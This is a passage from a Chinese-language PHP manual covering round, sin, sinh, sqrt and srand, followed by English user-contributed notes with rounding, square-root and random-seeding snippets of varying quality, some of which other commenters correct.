md5(time()) is more guaranteed to be unique, and it is faster than two md5 calls.
ewspencer at industrex dot com
04-Jun-2003 02:40
Inspired by the many useful tips posted by other users, I wrote a flexible, arbitrary, random character generator, which also produces random color values in decimal or hexadecimal format.

The procedure is encapsulated as a PHP function named randchar().

You're welcome to freely download the randchar() source code at http://www.industrex.com/opensource/randchar.phps
igge at netpond dot com
30-Oct-2002 08:35
About selecting random rows from a MySQL table:

SELECT * FROM tablename ORDER BY RAND() LIMIT 1

works for small tables, but once the tables grow larger than 300,000 records or so this will be very slow because MySQL will have to process ALL the entries from the table, order them randomly and then return the first row of the ordered result, and this sorting takes long time. Instead you can do it like this (atleast if you have an auto_increment PK):

SELECT MIN(id), MAX(id) FROM tablename;

Fetch the result into $a

$id=rand($a[0],$a[1]);

SELECT * FROM tablename WHERE id>='$d' LIMIT 1
add a note add a note

后退 | 起点 | 前进
rad2deg | 上一级 | round


round

(PHP 3, PHP 4, PHP 5)

round -- 对浮点数进行四舍五入

说明

float round ( float val [, int precision] )

返回将 val 根据指定精度 precision（十进制小数点后数字的数目）进行四舍五入的结果。precision 也可以是负数或零（默认值）。

例子 1. round() 例子

<?php
echo round(3.4);         // 3
echo round(3.5);         // 4
echo round(3.6);         // 4
echo round(3.6, 0);      // 4
echo round(1.95583, 2);  // 1.96
echo round(1241757, -3); // 1242000
echo round(5.045, 2);    // 5.05
echo round(5.055, 2);    // 5.06
?>

注: PHP 默认不能正确处理类似 "12,300.2" 的字符串。见字符串转换为数值。

注: precision 参数是在 PHP 4 中被引入的。

参见 ceil()，floor() 和 number_format()。

add a note add a note User Contributed Notes
milosz_jablonski at yahoo dot co dot uk
11-May-2006 11:51
function round is more than just fantastic. Why not to use this one instead of creating your own for rounding UP/DOWN

$proc_total1 had a number of values (see 2 examples below)

round($proc_total1)  //$proc_total1=57.1428571429
echo $proc_total1;    //57

round($proc_total1)  //$proc_total1=42.8571428571
echo $proc_total1;    //43

good luck
Mazzu
11-May-2006 04:41
Another correction to the significant digits formula :

($n == 0) ? 0 : round($n, floor(0 - log10(abs($n))) + $sysdigits)

- In order to handle zero and negative numbers
- Use floor() instead of ceil() to do not substract 1
adrianbj
16-Feb-2006 04:19
A simple correction to the significant digits formula posted way below:

round($n, ceil(0 - log10($n)) + $sigdigits - 1);

Note the addition of '-1' to the formula originally posted.
28-Jan-2006 04:41
Instead of writing roundDown() and roundUp() functions in php, you might want to consider floor() and ceil(), as they are probably much, much faster.
reinhard at ess dot co dot at
26-Jan-2006 11:56
the same is true for round_down

function round_down($value){
   list($val,$dummy) = explode(".",$value);
   return $val;
}
reinhard at ess dot co dot at
26-Jan-2006 11:54
I have made the round_up-function much more simpler and useable of any values (float or int) -> if no decimal values then the value is taken else we add one to the value in front of the dot ;)

function round_up($value){
   list($val,$dummy) = explode(".",$value);
   return $dummy?$val+1:$val;
}
elbekko at gmail dot com
24-Jan-2006 05:45
I created a round down function, pretty basic but it should work :P

<?php
function round_down($value)
   {
   if(is_float($value))
       {
       $exploded = explode(".",$value);
       return $exploded[0];
       }
   else
       {
       die("Only float values can be entered.");
       }
   }
?>

You could use the same function for rounding up:

<?php
function round_up($value)
   {
   if(is_float($value))
       {
       $exploded = explode(".",$value);
       return $exploded[0] + 1;
       }
   else
       {
       die("Only float values can be entered.");
       }
   }
?>
php dot net at cdauth dot de
23-Jan-2006 04:33
Beware that the implementation posted below:
<?php
$number = 254.51263;
$round = (int)($number+0.5); // 255
?>
does not work with very large numbers.
boonedocks at gmail dot com
14-Jan-2006 05:08
Since PHP no longer does Banker's Rounding, I came up with an implementation here:

http://boonedocks.net/mike/archives/106-Bankers-Rounding-for-PHP.html

It hasn't really been hammered on, so testing and comments are welcome.
adrenalin at bmxstyle dot com
19-Dec-2005 09:42
Oh sorry, I had mistake in a simple version of the script. Here is a working and tested version:

<?php
function divby($val, $by) {

   $val -= $val % $by;

   return $val;
}
?>

But in blackhole's description is a little mistake, because if I try: divby(-23, 10); it will return -20, because $val is negative so the result must be negative too.
adrenalin at bmxstyle dot com
19-Dec-2005 06:31
Here is a simple version of blackhole's script.

<?php
function divby($val, $by) {

  $val -= abs($val) % $by;

   return $val;
}
?>
blackhole at ggot dot org
22-Sep-2005 08:01
Sometimes you will want to make a number divisible by another (like rounding by 5s, or 10s, or 7s, or 1438s, or whatever) instead of just making it divisble by one such as round() with only one argument.  The function that follows is fairly simply and behaves mostly as expected.

<?php
function divby($val, $by) {
   if ($val < 0)
   $val += -$val % $by;
   else
   $val -= $val % $by;

   return $val;
}
?>

divby(23, 10) will return 20
divby(77, 5) will return 75
divby(138, 7) will reuturn 133
divby(-23, 10) will return 20

note: the only way to return a negative value is to make BOTH values negative, for example:

divby(-25, -10) will return -20

note also: if the value of $by is greater than $val then the function will return 0, for example:

divby(3, 4) will return 0
divby(4, 3) will return 3
twain47 at gmail dot com
10-May-2005 10:25
The bankers' rounding behaviour mentioned in the notes below seems to have been changed to normaly rounding.

From the comments in http://bugs.php.net/bug.php?id=24142 it was changed in 4.3.0 but various bugs seem to have been introduced and it wasn't stable again until 4.3.5 (http://bugs.php.net/bug.php?id=25694)
roger dot anzoategui at gmail dot com
07-Apr-2005 12:14
Ron, very good observation, in some occasions the behavior of an accounting system in which I participated, the following problem occurred: reduces it of two exact values did not give zero due to that millionths of difference in the decimals they existed (not yet itself if due to the own algorithms of the microprocessor or of the language, did not I have the opportunity to do a bench, and the surest thing is that this Reason that may not have been able to notice me previously).
Your observation I have it present in my code.
ron at korving dot demon dot nl
11-Feb-2005 06:46
Unfortunately, ranzoategui's (and my revision) round version did not work well (try to round 8.075 to 2 decimals for example).

I found out the best way to achieve a good round is to add a tiny number to the value before rounding. This seems to work fine in all cases (and luckily it's faster than previous methods):

<?
  function stdround($num, $d=0)
  {
   return round($num + 0.0001 / pow(10, $d), $d);
  }
?>
10-Feb-2005 10:23
If you want more speed, and you dont need any decimals returned, use this:
<?php

$number = 254.51263;
$round = (int)($number+0.5); // 255

?>
This way is 32% faster than calling the round() function in this situation (tested!).
ron at korving dot demon dot nl
07-Feb-2005 10:12
This is a slighty shorter and faster version of ranzoategui's round function:

<?
  function stdround($num, $d=0)
  {
   $d = pow(10, $d);
   return round(floor($num * $d * 10) / 10) / $d;
  }
?>

This function behaves exactly like round(), except for the fact that it doesn't apply a so called bankers' rounding algorithm, but a more classic approach (where a 5 is always rounded up).

For more info on Banker's rounding: http://en.wikipedia.org/wiki/Significance_arithmetic
ranzoategui at bolivia dot com
07-Jan-2005 04:16
<?php
/*
 * @abstract This function is very useful to round totals with definite decimals.
 *
 * @param float  $value
 * @param integer $dec
 * @return float
 */
  function approx( $value, $dec = 2 ) {
     $value += 0.0;
     $unit  = floor( $value * pow( 10, $dec + 1 ) ) / 10;
     $round = round( $unit );
     return $round / pow( 10, $dec );
  }

// Example
// $round = approx( 3.14159, 4 ); // This result 3.1416
?>
martin at chinese-monkey dot com
14-Nov-2004 01:16
If you didn't want to use 'ceil()' or 'floor()' as it only rounds to a whole number u could do this:

<?php
$actual_value = 3.352;
$number = 0.01; //how many decimal places you want it to be

$temp1 = $actual_value * 2;
$temp2 = $temp1 + $number; //'+ $number' if rounding up '- $number' if rounding down
$temp3 = $temp2 / 2;
$new_value = round($temp3, 2);

echo $new_value; // 3.36
?>
red at aztec dot sk
19-Jul-2004 08:21
Better is:

<?php
   $actual_value = 3.45;              // 3.45
   $half_round = round(($actual_value*2), 0)/2; // 3.5
?>

or
<?php
   $actual_value = 3.45;              // 3.45
   $temp1 = $actual_value * 2;        // 6.9
   $temp2 = round($temp1, 0);  // 7
   $half_round = $temp2 / 2            // 3.5
?>

NOT
<?php
   $actual_value = 3.45;              // 3.45
   $temp1 = $actual_value * 2;        // 6.9
   $temp2 = round($actual_value, 0);  // 7
   $half_round = $temp2 / 2            // 3.5
?>
Dan
07-Jul-2004 05:08
a simpler solution to the 'round to a half' method suggested by monte at ispi dot net, below. This version returna the actual number.

<?php
   $actual_value = 3.45;              // 3.45
   $temp1 = $actual_value * 2;        // 6.9
   $temp2 = round($actual_value, 0);  // 7
   $half_round = $temp2 / 2            // 3.5
?>
monte at ispi dot net
29-Jun-2004 09:31
Just a quick note on rounding to the nearest "half" instead of nearest "whole". I my case, I'm showing a user rating with stars and need to show a star for each whole, and half a star for remainder values closer to half than whole.

// replace 3.45 with any rating
$_actual_rating = 3.45;

$_rating_round_half = round($_actual_rating / 0.5) * 0.5;
$_remainder = fmod($_rating_round_half, 1);

$_rating = (int) $_rating_round_half - $_remainder;
$_half_star = $_remainder == 0.5;

In the above example, $_rating will contain a whole number for the number of stars to display, and $_half_star will be a boolean to determine whether or not to display half a star as well.
ga dot N-O-S-P-A-M at lacde dot net
15-Apr-2004 01:49
If you want a complete and simple solution to round for n digits you should use this function at the bottom.
(you may want this to be even clearer with nice defines like below but it is not obliged if you use -1/0/1)
<?php
define(FLOOR,-1);
define(NEARER,0);
define(CEIL,1);
?>

$myNiceValue=MyApprox($value,3); <- nearest value for 3 digits
$myNiceValue=MyApprox($value,3,FLOOR); <- floor value

ex:
MyApprox(2.36745,3); // 2.37
MyApprox(1462.36745,3); // 146 (because nearer)
MyApprox(1465.36745,3); // 147 (because nearer)
MyApprox(1462.36745,3,FLOOR); // 146
MyApprox(1462.36745,3,CEIL); // 147

MyApprox(-1462.36745,3); // -146 (because nearer)
MyApprox(-1465.36745,3); // -147 (because nearer)
MyApprox(-1462.36745,3,FLOOR); // -147 <-- like PHP but for n digit
MyApprox(-1462.36745,3,CEIL); // 146 <-- like PHP but for n digit

The last argument ($inverseNeg) is provided only if you want to switch floor and ceil for negative value to overide the common behaviour of php. (little chances it would be useful for you)

This must work for php > 4.0.5
if you want to make it work for < versions you may only have to change the str_replace to do not use arrays but 2 str_replace instead.

It may be really interesting to have this kind of functions directly in php !

Plz note that this one is probably not the quicker code possible I coded it quickly. (if you need speed it's better to use directly the method you want anyway)

Note that it's simple to use a "common" behavior in your script(s) :
define(APPROX_METHOD,-1)

MyApprox($value,$n,APPROX_METHOD);
...

So you can change once for all the method or even by choice of your user.

<?php
function MyApprox($fValue,$sigdigits=0,$mode=0,$inverseNeg=0)
// mode=-1 gives floor
// mode=0 (default) gives automatic Round to nearest digit : >5 -> +1
// mode=1 gives ceil
// inverseNeg=0 (default)-> PHP floor/ceil behavior, floor(-2.3)=-6, floor towards -INF
// inverseNeg=1 -> inverse floor/ceil behavior means floor(-2.3)=-5, floor towards 0 in case of need
{
   $sValue=''.(float)($fValue);
   $lenght=strlen($sValue);
   $isNeg=$fValue<0;
   if(($sigdigits<=0)||($sigdigits==False))
     {
       if(($inverseNeg)&&($isNeg)) $mode=-$mode;
       if($mode==-1) return floor($fValue);
       if($mode==1) return ceil($fValue);
       return round($fValue);
     }

   $posDot=strpos($sValue,'.');
   $sResult=str_replace(array('.','-'),'', $sValue);
   $fResult=0.0;
   if(($mode==0)&&(intval($sResult{$sigdigits})>=5)) $fResult=1.0;
   $sResult=substr($sResult,0,$sigdigits);

   $fResult+=(float)$sResult;
   if($isNeg)
     {
       if($inverseNeg)
         {
           if($mode==1) $fResult+=1;
         }
       else if($mode==-1) $fResult+=1;
     }
   else if($mode==1) $fResult+=1;

   if($posDot==False) $posDot=$lenght;
   $numb=$sigdigits-($posDot-$isNeg);
   if($numb>0) for($i=0;$i<$numb;$i++) $fResult/=10.0;
   else if($numb<0) for($i=0;$i<$numb;$i++) $fResult*=10.0;
   if($isNeg) return -$fResult;
   else return $fResult;
}
?>
terry at scribendi dot com
13-Jan-2004 03:45
To round any number to a given number of significant digits, use log10 to find out its magnitude:

round($n, ceil(0 - log10($n)) + $sigdigits);

Or when you have to display a per-unit price which may work out to be less than a few cents/pence/yen you can use:

// $exp = currency decimal places - 0 for Yen/Won, 2 for most others
$dp = ceil(0 - log10($n)) + $sigdigits;
$display = number_format($amount, ($exp>$dp)?$exp:$dp);

This always displays at least the number of decimal places required by the currency, but more if displaying the unit price with precision requires it - eg: 'English proofreading from $0.0068 per word', 'English beer from $6.80 per pint'.
ssttoo at hotmail dot com
06-Dec-2003 08:12
Having done the following test:
<?php
$test_numbers = array (1.255,3.255,10.255);
foreach ($test_numbers AS $number){
   echo "<br />Number:<b> " . $number . "</b>";
   echo "<br />Printf():<b> ";
   printf("%.2f",$number);
   echo "</b><br />Printf() and round(): <b> ";
   printf("%.2f",round($number,2));
   echo "</b><br />Printf() and round() *100/100:<b> ";
   printf("%.2f",round($number*100)/100);
   echo "</b><br />----------------";
}
?>

it looks that small numbers are not always rounded the way one expects, regardless of the rounding method used. The results are:

Number: 1.255
Printf(): 1.25
Printf() and round(): 1.25
Printf() and round() *100/100: 1.25
----------------
Number: 3.255
Printf(): 3.25
Printf() and round(): 3.25
Printf() and round() *100/100: 3.26
----------------
Number: 10.255
Printf(): 10.26
Printf() and round(): 10.26
Printf() and round() *100/100: 10.26

So to get around this I came out with a small 'fuzz'-ing:
<?php
function myFormattedRoundedNumber($number, $fuzz = 0.00000000001){
   return sprintf("%.2f", (($number>=0) ? ($number+$fuzz) : ($number-$fuzz)));
}
?>
As you can see, it also takes into account the negative numbers.
PiotrL
13-Nov-2003 09:44
There are many ways to round floating-point numbers.
And many valid (!) algorithms. This is because the algorithm depends on the domain of value and sometimes on... country.
For example as far as I know in my country money is rounded in the same way as in math calculations:

1.4 => 1
1.5 => 2
1.6 => 2
and
2.5 => 3

A lot of rounding algorithms (and very easy to implement in every language) can be found here:

http://www.merlyn.demon.co.uk/pas-chop.htm
26-Aug-2003 07:12
Many have thus far mentioned problems encountered when trying to add a small fuzz factor to a number such as 1.499999999.  This is the way I get around that problem using , allbeit probably less efficient than assuming a small possiblitiy for error:

$numberToRound = 1.5;

//Convert to string.
$numberToRound = "$numberToRound";

//iff number ends in a "5", add fuzz
if (eregi("$5", $pages)) $pages += .000001;

$round = round($pages, 0);
ianring (at) golden.net
08-Aug-2003 03:30
The round() function may indeed work properly with half-values (eg. 1.5), but this little method will give you peace of mind. Add some "fuzz" to your function with a miniscule delta value.

$delta = 0.00001;
$x = round($x+$delta);

This is fine, unless $x has a value of 1.49999 ... if you worried about that, use this method instead:

if(($x-floor($x))==0.5){
   $x+=$delta;
}
$x = round($x);

you can change your "optimistic" delta into a "pessimistic" delta by subtracting instead of adding.

Cheers,
Ian Ring
ralf dot schreijer at smc dot uni-muenster dot de
18-Jun-2003 08:39
The function below regards a higher number of digits for rounding as the number of digits you want to round! At least it rounds a Value to the number of digits you want to:

function MyRound($iValue, $iDigits, $iPrecision){
   $iDigits = intval($iDigits);
   $iPrecision = intval($iPrecision);
   if($iDigits > $iPrecision){ $iPrecision = $iDigits; }
   for($i = $iPrecision; $i >= $iDigits; $i--){
     $iValue = round($iValue, $i);
   } // for($i = $iPrecision; $i >= $iDigits; $i--) -- END
   return $iValue;
}
Oromian
13-May-2003 08:08
<?
// Rounding to the nearest fifth
// or any other increment you wish...

$percent = "48";
  $num = round($percent/5)*5;
   echo $num;
   // returns 50

$percentt = "47";
  $numm = round($percentt/5)*5;
   echo $numm;
   // returns 45
?>
eb at st-us dot com
18-Jan-2003 03:16
/*next line will output 1.4999 as 1.49, no round. Use it if you want to collect fractional money less than 0.01 after for example % calculations.*/
$a=1.4999;
$a = sprintf("%01.2lf", floor($a*100)/100); //$a=1.49
tichoux at charlevoix dot net
24-Oct-2002 05:06
for a poll, if you want to have 100% and not 99 or 99.99 % you can do that :

round( number_format( (($individual_result*100)/$total_result), 2), 1)
kt at netspirit dot ch
21-Aug-2002 12:10
because of some site-effects between round() and modulo, therfore the result is not exactly at  every time ...
another way ( and without site-effects) of getting 0.05 increments for currencies, f.e. swiss francs:

$res = (round(20*$chf))/20;
echo $res;

with kind regards
php at silisoftware dot com
15-Aug-2002 05:15
Here's a function to round to an arbitary number of significant digits. Don't confuse it with rounding to a negative precision - that counts back from the decimal point, this function counts forward from the Most Significant Digit.

ex:
round(1241757, -3); // 1242000
RoundSigDigs(1241757, 3); // 1240000

Works on negative numbers too. $sigdigs should be >= 0

function RoundSigDigs($number, $sigdigs) {
   $multiplier = 1;
   while ($number < 0.1) {
       $number *= 10;
       $multiplier /= 10;
   }
   while ($number >= 1) {
       $number /= 10;
       $multiplier *= 10;
   }
   return round($number, $sigdigs) * $multiplier;
}
dalef at bendnet dot com
26-Mar-2002 03:27
for php 3.x, if you need to use the precision arg:

function round3x($val,$precision){
$exp = pow(10,$precision);
$val = $val *  $exp;
$val = round($val);
$val = $val /  $exp;
return $val;
}
js5 at sanger dot ac dot uk
18-Jan-2002 03:17
This isn't a bug. Rounding of "halves" is usally done to the even number. This means that on average half of the "halves" are rounded up and half of the "halves" are rounded down. So that
any "average" calculated should not be affected by the rounding.
felix at innovative-web dot NOSP dot AM dot de
31-Dec-2001 10:07
Hi!

Yet another update to the bcround function. Vittorio Moccia pointed out that it didn't work with "infinite" precision. However, the function below allows you to gain the precision you need. $precision specifies the number of decimals behind $decimals that shall be used for rounding (10 or 20 is a good value). Hope this was the last bug in the function. If you find any more, don't hesitate to contact me.

function bcround ($number, $decimals, $precision)
{
 $precision_add = str_repeat("5",$precision);

 if (bccomp($number,0) > 0)
 {
  return (bcadd (bcadd ($number, "0.".str_repeat("0",$decimals).$precision_add, $decimals+$precision), 0, $decimals));
 }
 else
 {
  return (bcadd (bcsub ($number, "0.".str_repeat("0",$decimals).$precision_add, $decimals+$precision), 0, $decimals));
 }
}

- Felix Schwarz, Innovative
twan at ecreation dot nl
16-May-2000 09:51
If you'd only want to round for displaying variables (not for calculating on the rounded result) then you should use printf with the float:
printf ("%6.2f",3.39532);

This returns: 3.40 .
add a note add a note

后退 | 起点 | 前进
rand | 上一级 | sin


sin

(PHP 3, PHP 4, PHP 5)

sin -- 正弦

说明

float sin ( float arg )

sin() 返回参数 arg 的正弦值。参数 arg 的单位为弧度。

例子 1. sin()

<?php

// 返回值的精度由 &php.ini; 中的 precision 指示确定
echo sin(deg2rad(60));  //  0.866025403 ...
echo sin(60);           // -0.304810621 ...

?>

参见：
asin()、
cos()、
tan()和
deg2rad()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
round | 上一级 | sinh


sinh

(PHP 4 >= 4.1.0, PHP 5)

sinh -- 双曲正弦

说明

float sinh ( float arg )

返回 arg 的双曲正弦值，定义为 (exp(arg) - exp(-arg))/2。

参见：
sin()、
asinh()、
cos()和
tan()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sin | 上一级 | sqrt


sqrt

(PHP 3, PHP 4, PHP 5)

sqrt -- 平方根

说明

float sqrt ( float arg )

返回 arg 的平方根。

例子 1. sqrt()

<?php
// Precision depends on your precision directive
echo sqrt(9); // 3
echo sqrt(10); // 3.16227766 ...
?>

参见 pow()。

add a note add a note User Contributed Notes
30-Mar-2006 04:03
A much easier way to find perfect squares:
This method uses integer roots to find perfect squares instead of integer squares to find integer roots.

<?

# initial value
$i = 0;

#set any limit you want
$setSomeLimit = 10000;

# do it! .... do it! ... do it!
for ($n = 1; $n < sqrt($setSomeLimit; $n++)
{
   // Find the square
   $s= $n * $n;

   print "<br>perfect_square_root is of $s is $n";
}

?>
php NOSPAM at primezero dot com
13-Jul-2005 10:15
creating perfect squares... (no decimals)

<?

# initial value
$i = 0;

#set any limit you want
$setSomeLimit = 10000;

# do it! .... do it! ... do it!
do {

   # find the square root
   $sqRoot  = sqrt($i);

   # not a decimal? that it is a perfect square! ^_^
   if ( ereg ("^[0-9]{1,12}$", $sqRoot)) {

       # suppose that the_square_root = teh_square_root
       print "<br>perfect_square_root is of $i is $sqRoot";
   }
$i++; # next!!

# keeps running until it reaches the limit
} while ($i < $setSomeLimit);

?>
btharper1221 at gmail dot com
15-May-2005 11:48
this is something you can use if you need an exact answer to a root problem, this includes an echo outside of the function to show how it works, it will return it such as
$ret[0] is the number still part of the root (this is the exactness part of it)
$ret[1] is the number of roots and
$ret[2] is 1 or 0, 1 being that there should be an i following the number of roots (imaginary)

<?php
function newrt($val,$rt){
$i = 0;
if(($rt % 2 == 0) && ($val < 1)){
$i = 1;
$val = (-$val);
}
$c = 1;
if(($rt % 2 != 0) && ($val < 0)){
$c = -$c;
$val = -$val;
}
for($d = 2; pow($d,$rt) <= abs($val); $d++){
if($val % (pow($d,$rt)) == 0){
$val = ($val/(pow($d,$rt)));
$c = ($c*$d);
$d--;
}
}
$ret[0] = $val;
$ret[1] = $c;
$ret[2] = $i;
return $ret;
}//end function newrt

$ret = newrt($num,$num2);
if($ret[0] != 1){
if($ret[2] == 0) echo $ret[1]." roots of ".$ret[0];
if($ret[2] == 1) echo $ret[1]."<b><i>i</i></b> roots of ".$ret[0];
}elseif($ret[0] == 1){
if($ret[2] == 0) echo $ret[1];
if($ret[2] == 1) echo "$ret[1]<b><i>i</i></b>";
}
?>
chris DOT rutledge AT gmail DOT com
31-Mar-2005 06:24
Just a note to say you can take the square root of a negative number - it returns an imaginary number.

One might do it like this

//take initial value of $x

$abs_x = abs($x);
$answer = sqrt($abs_x);

echo $answer;

if ($x < 0) echo"<b><i>i</i></b>";
jouhni at web dot de
18-Feb-2005 03:46
To get any root of a number your can use the pow() function:

pow(8, 1/3)

which gives you the third root of eight.

Jouhni
php user
14-May-2004 03:25
How to calculate triangle's area if you haven't height measure.
You need only sides' measure.
it would have to work.

(formula of erone)

$s1 = side 1
$s2 = side 2
$s3 = side 3

<?
function area($s1,$s2,$s3)
{
$calc1 = ($s1+$s2+$s3)/2;
$calc2 = $p*($p-$s1)*($p-$s2)*($p-$s3);
$result = round(sqrt($p),2);
return $result;
}
?>

example of I use:

<?
//This will make to return the area of a triangle with sides of 3,4,5
$area = area(3,4,5);
echo $area;
?>
bishop
18-Jul-2003 01:09
Compute a triangle's area:

function triangleArea($a, $b /* ... */) {
   if (func_num_args() === 3) {
       $s = .5 * ($a + $b + ($c = func_get_arg(2)));
       return sqrt($s * ($s-$a) * ($s-$b) * ($s-$c));
   } else {
       return (.5 * $a * $b);
   }
}

With 2 args, parameters are triangle's base and height.  With 3 args, parameters are the lengths of each side.  Argument order is not important.

Either way, you get the area.
tcn at pandora dot be
14-Nov-2002 04:37
Checking if the square you want to take from a number is valid or not (you can't take the root of a negative number)

if ($i<0)
 {
  echo "Error! The number you specified can't be rooted! It's negative!
  }
  else
  {
  echo "The square root of your number is ".sqrt($i);
  }
morvandiumNOSPAM at yahoo dot com
05-Nov-2001 08:44
I find this useful for any grid system where distances need to be computed (maps and graphs, mostly).

Just use the distance between points formula (pseudo-code): sqrt((x2-x1)^2+(y2-y1)^2) to find the distance between two points.
add a note add a note

后退 | 起点 | 前进
sinh | 上一级 | srand


srand

(PHP 3, PHP 4, PHP 5)

srand -- 播下随机数发生器种子

说明

void srand ( [int seed] )

用 seed 播下随机数发生器种子。从 PHP 4.2.0 版开始，seed 参数变为可选项，当该项为空时，会被设为随时数。

例子 1. srand() 范例

<?php
// seed with microseconds
function make_seed()
{
    list($usec, $sec) = explode(' ', microtime());
    return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
$randval = rand();
?>

注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已自动完成。

参见 rand()，getrandmax() 和 mt_srand()。

add a note add a note User Contributed Notes
bootc at bootc dot net
06-Jun-2005 11:03
OK, to summarize what people have been saying so far:

1. DO NOT seed the RNG more than once if you can help it!
2. You HAVE TO seed the RNG yourself if you are using PHP < 4.2.0.
3. Using a prime multiplier to microtime() probably does very little. Use the Mersenne Twister instead.
4. You can use the Mersenne Twister PRNG with the mt_rand and mt_srand functions. This is faster and is more random.
greenmonkey (at) gmx dot net
07-Feb-2005 05:40
if u r looking for a good PRNG try google with "Mersenne Twister"
corey at eyewantmedia dot com
07-Jan-2005 12:22
Hey, I use rand() all the time to get a rough probability of something happening. I went ahead and wrote a little function to help with the situation "I wish this thing would happen 2% of the time, so here is 5 lines of code to figure it out" since I run into it so much. Obviously, this is pretty similar to the if rand($x, $y) <$soething way, but I find it a little more flexible.

/**
 * @return boolean
 * @param int $baseChance
 * @param int $chanceAmplifier
 * @desc Returns a true or false value based on a whether a random number
 *        in the range 1 - (100 * $chanceAmplifier) is less than $baseChance.
*/
function RandomChance($baseChance, $chanceAmplifier = 1) {
   srand( ((int)((double)microtime()*1000003)) ); // get a good seed
   $totalBag = 100 * $chanceAmplifier; // set up max limit

   $probCheck = rand(1,$totalBag); // get random number

   if ( ($probCheck < $baseChance) ) { //compare it to $baseChance
       $result = true;
   }  else {
       $result = false;
   }

   return $result; //Yay!
}
davidaylmer zebra gmail.com (zebra = at)
03-Jan-2005 10:42
Just for the convienience of others...
1000003 is a prime number

So (double)microtime()*1000003 may work better for some applications.
edublancoa at gmail dot com
23-Dec-2004 05:39
Another use of srand is to obtain the same value of rand in a determined time interval. Example: you have an array of 100 elements and you need to obtain a random item every day but not to change in the 24h period (just imagine "Today's Photo" or similar).
<?php
$seed = floor(time()/86400);
srand($seed);
$item = $examplearray[rand(0,99)];
?>
You obtain the same value every time you load the page all the 24h period.
no at spam dot com
02-Sep-2004 07:59
I simply use this, and it has always worked fine:

function initRand ()
{
   static $randCalled = FALSE;
   if (!$randCalled)
   {
       srand((double) microtime() * 1000000);
       $randCalled = TRUE;
   }
}
function randNum ($low, $high)
{
   initRand();
   $rNum = rand($low, $high);
   return $rNum;
}
Codaholics dot com
17-Jun-2004 01:59
office's comment about multiplying by 1234567 instead of 1000000 is slightly misguided for a couple of reasons.

first, as the editor note would indicate, 1234567 is not a prime number.

second, the problem he is attempting to fix is that the random values are slowly converging. this, however, is not a problem with the seeding of the random number generator, but a problem with the RNG itself.  most default RNGs that come with programming languages will converge because they were written for efficiency and to function in everyday programs.

if you need a Pseudo Random Number Generator (PRNG) that is cryptographically secure and does not converge after repeated use without seeding... you will unfortunately have to use a different generator.  There are several out there such as the MersenneTwister, Yarrow (by Bruce Schneierer of Counterpane Security) and more being made every day.  Due to the hassle of finding a reputable PRNG, it is recommended that you only need to use those for issues that require strong security such as gambling games and cryptography.

hope this cleared things up :)
vinod at todays-deals dot com
20-Oct-2002 04:57
hi,
Here is one useful function that returns random string for given length

//#########################//

function randomstring($len)
{
   srand(date("s"));
   while($i<$len)
     {
       $str.=chr((rand()%26)+97);
       $i++;
   }

   $str=$str.substr(uniqid (""),0,22);
   return $str;
}

$rand_value=randomstring(10);

//#########################//

Thanks
Vinod

http://www.todays-deals.com
office at at universalmetropolis dot com
27-Apr-2002 05:40
[Editor's note: 1234567 is NOT a prime number]

I created an application that requires millions of different random values replicating dice and have found over substantial time, the numbers even up towards the middle.

May I suggest rather than this:

(double)microtime()*1000000

Use this instead:

(double)microtime()*1234567

1000000 is an even number, divisible by almost anything. 1234567 is a prime number and is hence uneven so it gives a little more flexibility with range.

Don't know if this change was the main reason for affecting the application, but it seemed to help.
ceo at l-i-e dot com
23-Feb-2002 09:53
In addition to my earlier post being stupidly coded with $wasseeded = TRUE :-| here is an update:

In PHP4, I *BELIEVE* the random number generator will seed itself if you don't seed it.

In PHP3, or some versions of PHP3?, that was not the case -- An unseeded rand() wouldn't be random.

While it would "work fine" in terms of spitting out a number, an unseeded random number generator won't be very random in many situations unless it has been properly seeded.

I'm afraid I can't explain all the details of why this is because A) it would be an entire textbook, and B) I don't know them all by heart, even if I understood them 20 years ago in college.

If you are running PHP4, you are probably okay, and if you are happy with the randomness of your values, you are fine, but you may want to do a little test like:

<?php
  $stats[1] = 0;
  $stats[2] = 0;
  $stats[3] = 0;
  for ($i = 0; $i < 1000; $i++){
   $choice = rand(1,3);
   if (!$i){
     echo "First random choice: $choice<BR>\n";
   }
   $stats[$choice]++;
  }
  reset($stats);
  while (list($num, $count) = each($stats)){
   echo "$num: $count<BR>\n";
  }
?>

Run the test a half-dozen times and check that the distribution of 1, 2, and 3 is even, and that the first number chosen is not the same every time.

This is hardly an exhaustive test, but it at least gives some reassurance that the numbers aren't completely predictable.

You may also wish to switch to http://php.net/mt_rand which is faster (if you generate a *LOT* of numbers) and allegedly a "better" (more random) function.

Again, it would be an entire book to explain why mt_rand is "more random"...

YMMV.  If you're doing "Casino Slots" with real money, you'd better do your homework on this.  If you're giving away a free CD or something silly, who cares?
sinister at cyberfrag dot com
22-Jan-2002 03:08
It's pretty easy how he's getting a highly random number. Microtime measures the time since the Epoch (0:00:00 January 1, 1970 GMT). Microtime() returns a string of 2 parts, the current microsecond count, a space, and then the time since the Epoch. By using (double), he chops off the seconds-since-Epoch time, and uses the "current microsecond count" until the next second.

Since time moves constantly, microseconds is the smallest unit a programming language makes use of, the current microseconds up until the next second will give you a million different numbers, every second. Now simply multiply the 0.xxxxxx number by 1,000,000 (like back in Jr. High School), and it will niftily place the 0.xxxxxx number in xxxxxx fashion for your seed.
mlwmohawk at mohawksoft dot com
02-Nov-2001 11:51
srand() is pretty tricky to get right. You should never seed a random number generator more than once per php process, if you do, your randomness is limited to the source of your seed.

The microtime function's micro-seconds portion has a very finite resolution, that is why the make_seed function was added to the document. You should never get the same seed twice.

In the later CVS versions, PHP will seed the random generator prior to performing a rand() if srand() was not previously called.
trobinson-a-t-gksystems-d-o-t-com
02-Nov-2001 06:26
The need to seed.
You might run a script like this:
   echo mt_rand(0,99999999);
a bunch of times, say by pressing Refresh in the browser, and get a different result each time. That is dependent on your web server. If the same apache/mod-php process lives through several invocations of the script, it won't reset the seed each time. But every php process will start with the same seed. If php is invoked as an external cgi, seed will always be the same. So... always seed!
php_public at macfreek dot nl
07-Oct-2001 11:52
The make_seed() function in the example code is VERY bad, and is in fact responsible for seeding always the same value, so that the output of rand() is the same with every page reload (!)

ALWAYS use:
(double)microtime()*1000000

See for more details my note on the mt_srand() page [ function.mt_srand.php ]
